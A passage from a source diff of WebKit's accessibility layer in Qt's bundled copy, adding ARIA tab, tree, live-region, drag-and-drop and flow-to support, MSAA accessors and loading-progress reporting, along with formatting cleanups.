+    virtual bool isMenuListPopup() const { return false; }
+    virtual bool isMenuListOption() const { return false; }
+    bool isTabList() const { return roleValue() == TabListRole; }
+    bool isTabItem() const { return roleValue() == TabRole; }
     bool isRadioGroup() const { return roleValue() == RadioGroupRole; }
+    bool isComboBox() const { return roleValue() == ComboBoxRole; }
+    bool isTree() const { return roleValue() == TreeRole; }
+    bool isTreeItem() const { return roleValue() == TreeItemRole; }
+    bool isScrollbar() const { return roleValue() == ScrollBarRole; }
+    bool isButton() const { return roleValue() == ButtonRole; }
     
-    virtual bool isChecked() const { return false; };
-    virtual bool isEnabled() const { return false; };
-    virtual bool isSelected() const { return false; };
-    virtual bool isFocused() const { return false; };
-    virtual bool isHovered() const { return false; };
-    virtual bool isIndeterminate() const { return false; };
-    virtual bool isLoaded() const { return false; };
-    virtual bool isMultiSelect() const { return false; };
-    virtual bool isOffScreen() const { return false; };
-    virtual bool isPressed() const { return false; };
-    virtual bool isReadOnly() const { return false; };
-    virtual bool isVisited() const { return false; };
-    virtual bool isRequired() const { return false; };
-
-    virtual bool canSetFocusAttribute() const { return false; };
-    virtual bool canSetTextRangeAttributes() const { return false; };
-    virtual bool canSetValueAttribute() const { return false; };
+    virtual bool isChecked() const { return false; }
+    virtual bool isEnabled() const { return false; }
+    virtual bool isSelected() const { return false; }
+    virtual bool isFocused() const { return false; }
+    virtual bool isHovered() const { return false; }
+    virtual bool isIndeterminate() const { return false; }
+    virtual bool isLoaded() const { return false; }
+    virtual bool isMultiSelectable() const { return false; }
+    virtual bool isOffScreen() const { return false; }
+    virtual bool isPressed() const { return false; }
+    virtual bool isReadOnly() const { return false; }
+    virtual bool isVisited() const { return false; }
+    virtual bool isRequired() const { return false; }
+    virtual bool isLinked() const { return false; }
+    virtual bool isExpanded() const { return false; }
+    virtual bool isVisible() const { return true; }
+    virtual bool isCollapsed() const { return false; }
+    virtual void setIsExpanded(bool) { }
+
+    virtual bool canSetFocusAttribute() const { return false; }
+    virtual bool canSetTextRangeAttributes() const { return false; }
+    virtual bool canSetValueAttribute() const { return false; }
     virtual bool canSetSelectedAttribute() const { return false; }
     virtual bool canSetSelectedChildrenAttribute() const { return false; }
+    virtual bool canSetExpandedAttribute() const { return false; }
     
-    virtual bool hasIntValue() const { return false; };
+    virtual bool hasIntValue() const { return false; }
 
-    bool accessibilityShouldUseUniqueId() const { return true; };
-    virtual bool accessibilityIsIgnored() const  { return true; };
+    bool accessibilityShouldUseUniqueId() const { return true; }
+    virtual bool accessibilityIsIgnored() const  { return true; }
 
     virtual int headingLevel() const { return 0; }
     virtual int intValue() const { return 0; }
@@ -303,9 +335,22 @@ public:
     virtual float maxValueForRange() const { return 0.0f; }
     virtual float minValueForRange() const { return 0.0f; }
     virtual AccessibilityObject* selectedRadioButton() { return 0; }
+    virtual AccessibilityObject* selectedTabItem() { return 0; }    
     virtual int layoutCount() const { return 0; }
+    virtual double estimatedLoadingProgress() const { return 0; }
     static bool isARIAControl(AccessibilityRole);
     static bool isARIAInput(AccessibilityRole);
+    virtual bool supportsARIAOwns() const { return false; }
+    virtual void ariaOwnsElements(AccessibilityChildrenVector&) const { }
+    virtual bool supportsARIAFlowTo() const { return false; }
+    virtual void ariaFlowToElements(AccessibilityChildrenVector&) const { }
+    
+    // ARIA drag and drop
+    virtual bool supportsARIADropping() const { return false; }
+    virtual bool supportsARIADragging() const { return false; }
+    virtual bool isARIAGrabbed() { return false; }
+    virtual void setARIAGrabbed(bool) { }
+    virtual void determineARIADropEffects(Vector<String>&) { }
     
     virtual AccessibilityObject* doAccessibilityHitTest(const IntPoint&) const { return 0; }
     virtual AccessibilityObject* focusedUIElement() const { return 0; }
@@ -331,7 +376,6 @@ public:
 
     void setRoleValue(AccessibilityRole role) { m_role = role; }
     virtual AccessibilityRole roleValue() const { return m_role; }
-    virtual String ariaAccessibilityName(const String&) const { return String(); }
     virtual String ariaLabeledByAttribute() const { return String(); }
     virtual String ariaDescribedByAttribute() const { return String(); }
     virtual String accessibilityDescription() const { return String(); }
@@ -370,32 +414,40 @@ public:
     virtual FrameView* topDocumentFrameView() const { return 0; }
     virtual FrameView* documentFrameView() const;
     virtual String language() const;
-
+    String language(Node*) const;
+    virtual unsigned hierarchicalLevel() const { return 0; }
+    
     virtual void setFocused(bool) { }
     virtual void setSelectedText(const String&) { }
     virtual void setSelectedTextRange(const PlainTextRange&) { }
     virtual void setValue(const String&) { }
     virtual void setSelected(bool) { }
-
+    virtual void setSelectedRows(AccessibilityChildrenVector&) { }
+    
     virtual void makeRangeVisible(const PlainTextRange&) { }
     virtual bool press() const;
     bool performDefaultAction() const { return press(); }
-
+    
     virtual AccessibilityOrientation orientation() const;
-    virtual void increment() { };
-    virtual void decrement() { };
+    virtual void increment() { }
+    virtual void decrement() { }
 
     virtual void childrenChanged() { }
+    virtual void contentChanged() { }
     virtual const AccessibilityChildrenVector& children() { return m_children; }
     virtual void addChildren() { }
     virtual bool canHaveChildren() const { return true; }
     virtual bool hasChildren() const { return m_haveChildren; }
     virtual void selectedChildren(AccessibilityChildrenVector&) { }
     virtual void visibleChildren(AccessibilityChildrenVector&) { }
+    virtual void tabChildren(AccessibilityChildrenVector&) { }
     virtual bool shouldFocusActiveDescendant() const { return false; }
     virtual AccessibilityObject* activeDescendant() const { return 0; }    
     virtual void handleActiveDescendantChanged() { }
 
+    static AccessibilityRole ariaRoleToWebCoreRole(const String&);
+    static const AtomicString& getAttribute(Node*, const QualifiedName&);
+
     virtual VisiblePositionRange visiblePositionRange() const { return VisiblePositionRange(); }
     virtual VisiblePositionRange visiblePositionRangeForLine(unsigned) const { return VisiblePositionRange(); }
     
@@ -446,6 +498,29 @@ public:
 
     unsigned doAXLineForIndex(unsigned);
 
+    virtual String stringValueForMSAA() const { return String(); }
+    virtual String stringRoleForMSAA() const { return String(); }
+    virtual String nameForMSAA() const { return String(); }
+    virtual String descriptionForMSAA() const { return String(); }
+    virtual AccessibilityRole roleValueForMSAA() const { return roleValue(); }
+
+    // Used by an ARIA tree to get all its rows.
+    void ariaTreeRows(AccessibilityChildrenVector&);
+    // Used by an ARIA tree item to get all of its direct rows that it can disclose.
+    void ariaTreeItemDisclosedRows(AccessibilityChildrenVector&);
+    // Used by an ARIA tree item to get only its content, and not its child tree items and groups. 
+    void ariaTreeItemContent(AccessibilityChildrenVector&);
+    
+    // ARIA live-region features.
+    bool supportsARIALiveRegion() const;
+    bool isInsideARIALiveRegion() const;
+    virtual const AtomicString& ariaLiveRegionStatus() const { return nullAtom; }
+    virtual const AtomicString& ariaLiveRegionRelevant() const { return nullAtom; }
+    virtual bool ariaLiveRegionAtomic() const { return false; }
+    virtual bool ariaLiveRegionBusy() const { return false; }
+    
+    bool supportsARIAAttributes() const;
+    
 #if HAVE(ACCESSIBILITY)
 #if PLATFORM(GTK)
     AccessibilityObjectWrapper* wrapper() const;
@@ -459,18 +534,14 @@ public:
 #endif
 #endif
 
-    // a platform-specific method for determining if an attachment is ignored
 #if HAVE(ACCESSIBILITY)
+    // a platform-specific method for determining if an attachment is ignored
     bool accessibilityIgnoreAttachment() const;
-#else
-    bool accessibilityIgnoreAttachment() const { return true; }
-#endif
-
     // gives platforms the opportunity to indicate if and how an object should be included
-#if HAVE(ACCESSIBILITY)
-    AccessibilityObjectPlatformInclusion accessibilityPlatformIncludesObject() const;
+    AccessibilityObjectInclusion accessibilityPlatformIncludesObject() const;
 #else
-    AccessibilityObjectPlatformInclusion accessibilityPlatformIncludesObject() const { return DefaultBehavior; }
+    bool accessibilityIgnoreAttachment() const { return true; }
+    AccessibilityObjectInclusion accessibilityPlatformIncludesObject() const { return DefaultBehavior; }
 #endif
 
     // allows for an AccessibilityObject to update its render tree or perform
@@ -489,7 +560,7 @@ protected:
     
 #if PLATFORM(MAC)
     RetainPtr<AccessibilityObjectWrapper> m_wrapper;
-#elif PLATFORM(WIN) && !PLATFORM(WINCE)
+#elif PLATFORM(WIN) && !OS(WINCE)
     COMPtr<AccessibilityObjectWrapper> m_wrapper;
 #elif PLATFORM(GTK)
     AtkObject* m_wrapper;
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityRenderObject.cpp b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityRenderObject.cpp
index 4c50b9a..8de8e5b 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityRenderObject.cpp
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityRenderObject.cpp
@@ -30,8 +30,8 @@
 #include "AccessibilityRenderObject.h"
 
 #include "AXObjectCache.h"
-#include "AccessibilityListBox.h"
 #include "AccessibilityImageMapLink.h"
+#include "AccessibilityListBox.h"
 #include "CharacterNames.h"
 #include "EventNames.h"
 #include "FloatRect.h"
@@ -53,6 +53,7 @@
 #include "HitTestResult.h"
 #include "LocalizedStrings.h"
 #include "NodeList.h"
+#include "ProgressTracker.h"
 #include "RenderButton.h"
 #include "RenderFieldset.h"
 #include "RenderFileUploadControl.h"
@@ -64,9 +65,11 @@
 #include "RenderMenuList.h"
 #include "RenderText.h"
 #include "RenderTextControl.h"
+#include "RenderTextFragment.h"
 #include "RenderTheme.h"
 #include "RenderView.h"
 #include "RenderWidget.h"
+#include "SelectElement.h"
 #include "SelectionController.h"
 #include "Text.h"
 #include "TextIterator.h"
@@ -84,6 +87,8 @@ AccessibilityRenderObject::AccessibilityRenderObject(RenderObject* renderer)
     : AccessibilityObject()
     , m_renderer(renderer)
     , m_ariaRole(UnknownRole)
+    , m_childrenDirty(false)
+    , m_roleForMSAA(UnknownRole)
 {
     updateAccessibilityRole();
 #ifndef NDEBUG
@@ -166,7 +171,7 @@ AccessibilityObject* AccessibilityRenderObject::parentObjectIfExists() const
     if (!m_renderer)
         return 0;
     
-    RenderObject *parent = m_renderer->parent();
+    RenderObject* parent = m_renderer->parent();
     if (!parent)
         return 0;
 
@@ -178,7 +183,7 @@ AccessibilityObject* AccessibilityRenderObject::parentObject() const
     if (!m_renderer)
         return 0;
     
-    RenderObject *parent = m_renderer->parent();
+    RenderObject* parent = m_renderer->parent();
     if (!parent)
         return 0;
     
@@ -296,10 +301,10 @@ bool AccessibilityRenderObject::isSlider() const
 bool AccessibilityRenderObject::isMenuRelated() const
 {
     AccessibilityRole role = roleValue();
-    return  role == MenuRole ||
-            role == MenuBarRole ||
-            role == MenuButtonRole ||
-            role == MenuItemRole;
+    return role == MenuRole 
+        || role == MenuBarRole
+        || role == MenuButtonRole
+        || role == MenuItemRole;
 }    
 
 bool AccessibilityRenderObject::isMenu() const
@@ -361,11 +366,21 @@ bool AccessibilityRenderObject::isChecked() const
     if (!m_renderer->node() || !m_renderer->node()->isElementNode())
         return false;
 
+    // First test for native checkedness semantics
     InputElement* inputElement = toInputElement(static_cast<Element*>(m_renderer->node()));
-    if (!inputElement)
+    if (inputElement)
+        return inputElement->isChecked();
+
+    // Else, if this is an ARIA checkbox or radio, respect the aria-checked attribute
+    AccessibilityRole ariaRole = ariaRoleAttribute();
+    if (ariaRole == RadioButtonRole || ariaRole == CheckBoxRole) {
+        if (equalIgnoringCase(getAttribute(aria_checkedAttr), "true"))
+            return true;
         return false;
+    }
 
-    return inputElement->isChecked();
+    // Otherwise it's not checked
+    return false;
 }
 
 bool AccessibilityRenderObject::isHovered() const
@@ -374,9 +389,16 @@ bool AccessibilityRenderObject::isHovered() const
     return m_renderer->node() && m_renderer->node()->hovered();
 }
 
-bool AccessibilityRenderObject::isMultiSelect() const
+bool AccessibilityRenderObject::isMultiSelectable() const
 {
     ASSERT(m_renderer);
+    
+    const AtomicString& ariaMultiSelectable = getAttribute(aria_multiselectableAttr);
+    if (equalIgnoringCase(ariaMultiSelectable, "true"))
+        return true;
+    if (equalIgnoringCase(ariaMultiSelectable, "false"))
+        return false;
+    
     if (!m_renderer->isListBox())
         return false;
     return m_renderer->node() && static_cast<HTMLSelectElement*>(m_renderer->node())->multiple();
@@ -505,18 +527,28 @@ AccessibilityObject* AccessibilityRenderObject::selectedRadioButton()
     }
     return 0;
 }
+
+AccessibilityObject* AccessibilityRenderObject::selectedTabItem()
+{
+    if (!isTabList())
+        return 0;
+    
+    // Find the child tab item that is selected (ie. the intValue == 1).
+    AccessibilityObject::AccessibilityChildrenVector tabs;
+    tabChildren(tabs);
+    
+    int count = tabs.size();
+    for (int i = 0; i < count; ++i) {
+        AccessibilityObject* object = m_children[i].get();
+        if (object->isTabItem() && object->intValue() == 1)
+            return object;
+    }
+    return 0;
+}
     
 const AtomicString& AccessibilityRenderObject::getAttribute(const QualifiedName& attribute) const
 {
-    Node* node = m_renderer->node();
-    if (!node)
-        return nullAtom;
-
-    if (!node->isElementNode())
-        return nullAtom;
-
-    Element* element = static_cast<Element*>(node);
-    return element->getAttribute(attribute);
+    return AccessibilityObject::getAttribute(m_renderer->node(), attribute);
 }
 
 Element* AccessibilityRenderObject::anchorElement() const
@@ -578,6 +610,10 @@ Element* AccessibilityRenderObject::actionElement() const
     if (m_renderer->isMenuList())
         return static_cast<Element*>(m_renderer->node());
 
+    AccessibilityRole role = roleValue();
+    if (role == ButtonRole || role == PopUpButtonRole)
+        return static_cast<Element*>(m_renderer->node()); 
+    
     Element* elt = anchorElement();
     if (!elt)
         elt = mouseButtonListener();
@@ -693,23 +729,46 @@ String AccessibilityRenderObject::helpText() const
     return String();
 }
     
-String AccessibilityRenderObject::language() const
+unsigned AccessibilityRenderObject::hierarchicalLevel() const
 {
     if (!m_renderer)
-        return String();
-    
-    // Defer to parent if this element doesn't have a language set
+        return 0;
+
     Node* node = m_renderer->node();
-    if (!node)
-        return AccessibilityObject::language();
+    if (!node || !node->isElementNode())
+        return 0;
+    Element* element = static_cast<Element*>(node);
+    String ariaLevel = element->getAttribute(aria_levelAttr);
+    if (!ariaLevel.isEmpty())
+        return ariaLevel.toInt();
     
-    if (!node->isElementNode())
-        return AccessibilityObject::language();
+    // Only tree item will calculate its level through the DOM currently.
+    if (roleValue() != TreeItemRole)
+        return 0;
+    
+    // Hierarchy leveling starts at 0.
+    // We measure tree hierarchy by the number of groups that the item is within.
+    unsigned level = 0;
+    AccessibilityObject* parent = parentObject();
+    while (parent) {
+        AccessibilityRole parentRole = parent->roleValue();
+        if (parentRole == GroupRole)
+            level++;
+        else if (parentRole == TreeRole)
+            break;
+        
+        parent = parent->parentObject();
+    }
     
-    String language = static_cast<Element*>(node)->getAttribute(langAttr);
-    if (language.isEmpty())
-        return AccessibilityObject::language();
-    return language;
+    return level;
+}
+    
+String AccessibilityRenderObject::language() const
+{
+    if (!m_renderer)
+        return String();
+    
+    return AccessibilityObject::language(m_renderer->node());
 }
 
 String AccessibilityRenderObject::textUnderElement() const
@@ -730,6 +789,14 @@ String AccessibilityRenderObject::textUnderElement() const
         }
     }
     
+    // Sometimes text fragments don't have Node's associated with them (like when
+    // CSS content is used to insert text).
+    if (m_renderer->isText()) {
+        RenderText* renderTextObject = toRenderText(m_renderer);
+        if (renderTextObject->isTextFragment())
+            return String(static_cast<RenderTextFragment*>(m_renderer)->contentString());
+    }
+    
     // return the null string for anonymous text because it is non-trivial to get
     // the actual text and, so far, that is not needed
     return String();
@@ -780,7 +847,7 @@ String AccessibilityRenderObject::valueDescription() const
     
 float AccessibilityRenderObject::valueForRange() const
 {
-    if (!isProgressIndicator() && !isSlider())
+    if (!isProgressIndicator() && !isSlider() && !isScrollbar())
         return 0.0f;
 
     return getAttribute(aria_valuenowAttr).toFloat();
@@ -807,11 +874,23 @@ String AccessibilityRenderObject::stringValue() const
     if (!m_renderer || isPasswordField())
         return String();
     
+    if (ariaRoleAttribute() == StaticTextRole)
+        return text();
+        
     if (m_renderer->isText())
         return textUnderElement();
     
-    if (m_renderer->isMenuList())
+    if (m_renderer->isMenuList()) {
+        // RenderMenuList will go straight to the text() of its selected item.
+        // This has to be overriden in the case where the selected item has an aria label
+        SelectElement* selectNode = toSelectElement(static_cast<Element*>(m_renderer->node()));
+        Element* selectedOption = selectNode->listItems()[selectNode->selectedIndex()];
+        String overridenDescription = AccessibilityObject::getAttribute(selectedOption, aria_labelAttr);
+        if (!overridenDescription.isNull())
+            return overridenDescription;
+        
         return toRenderMenuList(m_renderer)->text();
+    }
     
     if (m_renderer->isListMarker())
         return toRenderListMarker(m_renderer)->text();
@@ -864,56 +943,67 @@ static String accessibleNameForNode(Node* node)
     return String();
 }
 
-String AccessibilityRenderObject::ariaAccessibilityName(const String& s) const
+String AccessibilityRenderObject::accessibilityDescriptionForElements(Vector<Element*> &elements) const
+{
+    Vector<UChar> ariaLabel;
+    unsigned size = elements.size();
+    for (unsigned i = 0; i < size; ++i) {
+        Element* idElement = elements[i];
+        
+        String nameFragment = accessibleNameForNode(idElement);
+        ariaLabel.append(nameFragment.characters(), nameFragment.length());
+        for (Node* n = idElement->firstChild(); n; n = n->traverseNextNode(idElement)) {
+            nameFragment = accessibleNameForNode(n);
+            ariaLabel.append(nameFragment.characters(), nameFragment.length());
+        }
+            
+        if (i != size - 1)
+            ariaLabel.append(' ');
+    }
+    return String::adopt(ariaLabel);
+}
+
+    
+void AccessibilityRenderObject::elementsFromAttribute(Vector<Element*>& elements, const QualifiedName& attribute) const
 {
+    Node* node = m_renderer->node();
+    if (!node || !node->isElementNode())
+        return;
+
     Document* document = m_renderer->document();
     if (!document)
-        return String();
-
-    String idList = s;
+        return;
+    
+    String idList = getAttribute(attribute).string();
+    if (idList.isEmpty())
+        return;
+    
     idList.replace('\n', ' ');
     Vector<String> idVector;
     idList.split(' ', idVector);
-
-    Vector<UChar> ariaLabel;
+    
     unsigned size = idVector.size();
     for (unsigned i = 0; i < size; ++i) {
         String idName = idVector[i];
         Element* idElement = document->getElementById(idName);
-        if (idElement) {
-            String nameFragment = accessibleNameForNode(idElement);
-            ariaLabel.append(nameFragment.characters(), nameFragment.length());
-            for (Node* n = idElement->firstChild(); n; n = n->traverseNextNode(idElement)) {
-                nameFragment = accessibleNameForNode(n);
-                ariaLabel.append(nameFragment.characters(), nameFragment.length());
-            }
-            
-            if (i != size - 1)
-                ariaLabel.append(' ');
-        }
+        if (idElement)
+            elements.append(idElement);
     }
-    return String::adopt(ariaLabel);
 }
-
+    
+void AccessibilityRenderObject::ariaLabeledByElements(Vector<Element*>& elements) const
+{
+    elementsFromAttribute(elements, aria_labeledbyAttr);
+    if (!elements.size())
+        elementsFromAttribute(elements, aria_labelledbyAttr);
+}
+   
 String AccessibilityRenderObject::ariaLabeledByAttribute() const
 {
-    Node* node = m_renderer->node();
-    if (!node)
-        return String();
-
-    if (!node->isElementNode())
-        return String();
-
-    // The ARIA spec uses the British spelling: "labelled." It seems prudent to support the American
-    // spelling ("labeled") as well.
-    String idList = getAttribute(aria_labeledbyAttr).string();
-    if (idList.isEmpty()) {
-        idList = getAttribute(aria_labelledbyAttr).string();
-        if (idList.isEmpty())
-            return String();
-    }
-
-    return ariaAccessibilityName(idList);
+    Vector<Element*> elements;
+    ariaLabeledByElements(elements);
+    
+    return accessibilityDescriptionForElements(elements);
 }
 
 static HTMLLabelElement* labelForElement(Element* element)
@@ -990,6 +1080,8 @@ String AccessibilityRenderObject::title() const
         || ariaRole == MenuItemRole
         || ariaRole == MenuButtonRole
         || ariaRole == RadioButtonRole
+        || ariaRole == CheckBoxRole
+        || ariaRole == TabRole
         || isHeading())
         return textUnderElement();
     
@@ -1001,11 +1093,10 @@ String AccessibilityRenderObject::title() const
 
 String AccessibilityRenderObject::ariaDescribedByAttribute() const
 {
-    String idList = getAttribute(aria_describedbyAttr).string();
-    if (idList.isEmpty())
-        return String();
+    Vector<Element*> elements;
+    elementsFromAttribute(elements, aria_describedbyAttr);
     
-    return ariaAccessibilityName(idList);
+    return accessibilityDescriptionForElements(elements);
 }
 
 String AccessibilityRenderObject::accessibilityDescription() const
@@ -1032,7 +1123,7 @@ String AccessibilityRenderObject::accessibilityDescription() const
     }
     
     if (isWebArea()) {
-        Document *document = m_renderer->document();
+        Document* document = m_renderer->document();
         Node* owner = document->ownerElement();
         if (owner) {
             if (owner->hasTagName(frameTag) || owner->hasTagName(iframeTag)) {
@@ -1048,12 +1139,7 @@ String AccessibilityRenderObject::accessibilityDescription() const
         if (owner && owner->isHTMLElement())
             return static_cast<HTMLElement*>(owner)->getAttribute(nameAttr);
     }
-    
-    if (roleValue() == DefinitionListTermRole)
-        return AXDefinitionListTermText();
-    if (roleValue() == DefinitionListDefinitionRole)
-        return AXDefinitionListDefinitionText();
-    
+
     return String();
 }
 
@@ -1068,7 +1154,10 @@ IntRect AccessibilityRenderObject::boundingBoxRect() const
         obj = obj->node()->renderer();
     
     Vector<FloatQuad> quads;
-    obj->absoluteQuads(quads);
+    if (obj->isText())
+        obj->absoluteQuads(quads);
+    else
+        obj->absoluteFocusRingQuads(quads);
     const size_t n = quads.size();
     if (!n)
         return IntRect();
@@ -1198,6 +1287,8 @@ void AccessibilityRenderObject::addRadioButtonGroupMembers(AccessibilityChildren
 // or an internal anchor connection
 void AccessibilityRenderObject::linkedUIElements(AccessibilityChildrenVector& linkedUIElements) const
 {
+    ariaFlowToElements(linkedUIElements);
+
     if (isAnchor()) {
         AccessibilityObject* linkedAXElement = internalLinkElement();
         if (linkedAXElement)
@@ -1208,6 +1299,71 @@ void AccessibilityRenderObject::linkedUIElements(AccessibilityChildrenVector& li
         addRadioButtonGroupMembers(linkedUIElements);
 }
 
+bool AccessibilityRenderObject::hasTextAlternative() const
+{
+    // ARIA: section 2A, bullet #3 says if aria-labeledby or aria-label appears, it should
+    // override the "label" element association.
+    if (!ariaLabeledByAttribute().isEmpty() || !getAttribute(aria_labelAttr).string().isEmpty())
+        return true;
+        
+    return false;   
+}
+    
+bool AccessibilityRenderObject::supportsARIAFlowTo() const
+{
+    return !getAttribute(aria_flowtoAttr).string().isEmpty();
+}
+    
+void AccessibilityRenderObject::ariaFlowToElements(AccessibilityChildrenVector& flowTo) const
+{
+    Vector<Element*> elements;
+    elementsFromAttribute(elements, aria_flowtoAttr);
+    
+    AXObjectCache* cache = axObjectCache();
+    unsigned count = elements.size();
+    for (unsigned k = 0; k < count; ++k) {
+        Element* element = elements[k];
+        AccessibilityObject* flowToElement = cache->getOrCreate(element->renderer());
+        if (flowToElement)
+            flowTo.append(flowToElement);
+    }
+        
+}
+    
+bool AccessibilityRenderObject::supportsARIADropping() const 
+{
+    const AtomicString& dropEffect = getAttribute(aria_dropeffectAttr).string();
+    return !dropEffect.isEmpty();
+}
+
+bool AccessibilityRenderObject::supportsARIADragging() const
+{
+    const AtomicString& grabbed = getAttribute(aria_grabbedAttr).string();
+    return equalIgnoringCase(grabbed, "true") || equalIgnoringCase(grabbed, "false");   
+}
+
+bool AccessibilityRenderObject::isARIAGrabbed()
+{
+    return elementAttributeValue(aria_grabbedAttr);
+}
+
+void AccessibilityRenderObject::setARIAGrabbed(bool grabbed)
+{
+    setElementAttributeValue(aria_grabbedAttr, grabbed);
+}
+
+void AccessibilityRenderObject::determineARIADropEffects(Vector<String>& effects)
+{
+    String dropEffects = getAttribute(aria_dropeffectAttr).string();
+    if (dropEffects.isEmpty()) {
+        effects.clear();
+        return;
+    }
+    
+    dropEffects.replace('\n', ' ');
+    dropEffects.split(' ', effects);
+}
+    
 bool AccessibilityRenderObject::exposesTitleUIElement() const
 {
     if (!isControl())
@@ -1217,6 +1373,9 @@ bool AccessibilityRenderObject::exposesTitleUIElement() const
     if (isCheckboxOrRadio() && getAttribute(titleAttr).isEmpty())
         return false;
     
+    if (hasTextAlternative())
+        return false;
+    
     return true;
 }
     
@@ -1242,13 +1401,13 @@ AccessibilityObject* AccessibilityRenderObject::titleUIElement() const
     
 bool AccessibilityRenderObject::ariaIsHidden() const
 {
-    if (equalIgnoringCase(getAttribute(aria_hiddenAttr).string(), "true"))
+    if (equalIgnoringCase(getAttribute(aria_hiddenAttr), "true"))
         return true;
     
     // aria-hidden hides this object and any children
     AccessibilityObject* object = parentObject();
     while (object) {
-        if (object->isAccessibilityRenderObject() && equalIgnoringCase(static_cast<AccessibilityRenderObject*>(object)->getAttribute(aria_hiddenAttr).string(), "true"))
+        if (object->isAccessibilityRenderObject() && equalIgnoringCase(static_cast<AccessibilityRenderObject*>(object)->getAttribute(aria_hiddenAttr), "true"))
             return true;
         object = object->parentObject();
     }
@@ -1256,29 +1415,86 @@ bool AccessibilityRenderObject::ariaIsHidden() const
     return false;
 }
 
-bool AccessibilityRenderObject::accessibilityIsIgnored() const
+bool AccessibilityRenderObject::isDescendantOfBarrenParent() const
 {
-    // is the platform is interested in this object?
-    AccessibilityObjectPlatformInclusion decision = accessibilityPlatformIncludesObject();
-    if (decision == IncludeObject)
-        return false;
-    if (decision == IgnoreObject)
-        return true;
-    // the decision must, therefore, be DefaultBehavior.
-
-    // ignore invisible element
+    for (AccessibilityObject* object = parentObject(); object; object = object->parentObject()) {
+        if (!object->canHaveChildren())
+            return true;
+    }
+    
+    return false;
+}
+    
+bool AccessibilityRenderObject::isAllowedChildOfTree() const
+{
+    // Determine if this is in a tree. If so, we apply special behavior to make it work like an AXOutline.
+    AccessibilityObject* axObj = parentObject();
+    bool isInTree = false;
+    while (axObj) {
+        if (axObj->isTree()) {
+            isInTree = true;
+            break;
+        }
+        axObj = axObj->parentObject();
+    }
+    
+    // If the object is in a tree, only tree items should be exposed (and the children of tree items).
+    if (isInTree) {
+        AccessibilityRole role = roleValue();
+        if (role != TreeItemRole && role != StaticTextRole)
+            return false;
+    }
+    return true;
+}
+    
+AccessibilityObjectInclusion AccessibilityRenderObject::accessibilityIsIgnoredBase() const
+{
+    // The following cases can apply to any element that's a subclass of AccessibilityRenderObject.
+    
+    // Ignore invisible elements.
     if (!m_renderer || m_renderer->style()->visibility() != VISIBLE)
-        return true;
+        return IgnoreObject;
 
+    // Anything marked as aria-hidden or a child of something aria-hidden must be hidden.
     if (ariaIsHidden())
-        return true;
+        return IgnoreObject;
     
+    // Anything that is a presentational role must be hidden.
     if (isPresentationalChildOfAriaRole())
-        return true;
+        return IgnoreObject;
+
+    // Allow the platform to make a decision.
+    AccessibilityObjectInclusion decision = accessibilityPlatformIncludesObject();
+    if (decision == IncludeObject)
+        return IncludeObject;
+    if (decision == IgnoreObject)
+        return IgnoreObject;
         
+    return DefaultBehavior;
+}  
+ 
+bool AccessibilityRenderObject::accessibilityIsIgnored() const
+{
+    // Check first if any of the common reasons cause this element to be ignored.
+    // Then process other use cases that need to be applied to all the various roles
+    // that AccessibilityRenderObjects take on.
+    AccessibilityObjectInclusion decision = accessibilityIsIgnoredBase();
+    if (decision == IncludeObject)
+        return false;
+    if (decision == IgnoreObject)
+        return true;
+    
+    // If this element is within a parent that cannot have children, it should not be exposed.
+    if (isDescendantOfBarrenParent())
+        return true;    
+    
     if (roleValue() == IgnoredRole)
         return true;
     
+    // An ARIA tree can only have tree items and static text as children.
+    if (!isAllowedChildOfTree())
+        return true;
+    
     // ignore popup menu items because AppKit does
     for (RenderObject* parent = m_renderer->parent(); parent; parent = parent->parent()) {
         if (parent->isMenuList())
@@ -1288,7 +1504,7 @@ bool AccessibilityRenderObject::accessibilityIsIgnored() const
     // find out if this element is inside of a label element.
     // if so, it may be ignored because it's the label for a checkbox or radio button
     AccessibilityObject* controlObject = correspondingControlForLabelElement();
-    if (controlObject && !controlObject->exposesTitleUIElement())
+    if (controlObject && !controlObject->exposesTitleUIElement() && controlObject->isCheckboxOrRadio())
         return true;
         
     AccessibilityRole ariaRole = ariaRoleAttribute();
@@ -1300,8 +1516,8 @@ bool AccessibilityRenderObject::accessibilityIsIgnored() const
     // NOTE: BRs always have text boxes now, so the text box check here can be removed
     if (m_renderer->isText()) {
         // static text beneath MenuItems and MenuButtons are just reported along with the menu item, so it's ignored on an individual level
-        if (parentObjectUnignored()->ariaRoleAttribute() == MenuItemRole ||
-            parentObjectUnignored()->ariaRoleAttribute() == MenuButtonRole)
+        if (parentObjectUnignored()->ariaRoleAttribute() == MenuItemRole
+            || parentObjectUnignored()->ariaRoleAttribute() == MenuButtonRole)
             return true;
         RenderText* renderText = toRenderText(m_renderer);
         if (m_renderer->isBR() || !renderText->firstTextBox())
@@ -1321,11 +1537,28 @@ bool AccessibilityRenderObject::accessibilityIsIgnored() const
     if (isControl())
         return false;
     
+    if (ariaRole != UnknownRole)
+        return false;
+    
     // don't ignore labels, because they serve as TitleUIElements
     Node* node = m_renderer->node();
     if (node && node->hasTagName(labelTag))
         return false;
     
+    // Anything that is content editable should not be ignored.
+    // However, one cannot just call node->isContentEditable() since that will ask if its parents
+    // are also editable. Only the top level content editable region should be exposed.
+    if (node && node->isElementNode()) {
+        Element* element = static_cast<Element*>(node);
+        const AtomicString& contentEditable = element->getAttribute(contenteditableAttr);
+        if (equalIgnoringCase(contentEditable, "true"))
+            return false;
+    }
+    
+    // if this element has aria attributes on it, it should not be ignored.
+    if (supportsARIAAttributes())
+        return false;
+    
     if (m_renderer->isBlockFlow() && m_renderer->childrenInline())
         return !toRenderBlock(m_renderer)->firstLineBox() && !mouseButtonListener();
     
@@ -1364,9 +1597,6 @@ bool AccessibilityRenderObject::accessibilityIsIgnored() const
         return false;
     }
     
-    if (ariaRole != UnknownRole)
-        return false;
-    
     // make a platform-specific decision
     if (isAttachment())
         return accessibilityIgnoreAttachment();
@@ -1379,6 +1609,21 @@ bool AccessibilityRenderObject::isLoaded() const
     return !m_renderer->document()->tokenizer();
 }
 
+double AccessibilityRenderObject::estimatedLoadingProgress() const
+{
+    if (!m_renderer)
+        return 0;
+    
+    if (isLoaded())
+        return 1.0;
+    
+    Page* page = m_renderer->document()->page();
+    if (!page)
+        return 0;
+    
+    return page->progress()->estimatedProgress();
+}
+    
 int AccessibilityRenderObject::layoutCount() const
 {
     if (!m_renderer->isRenderView())
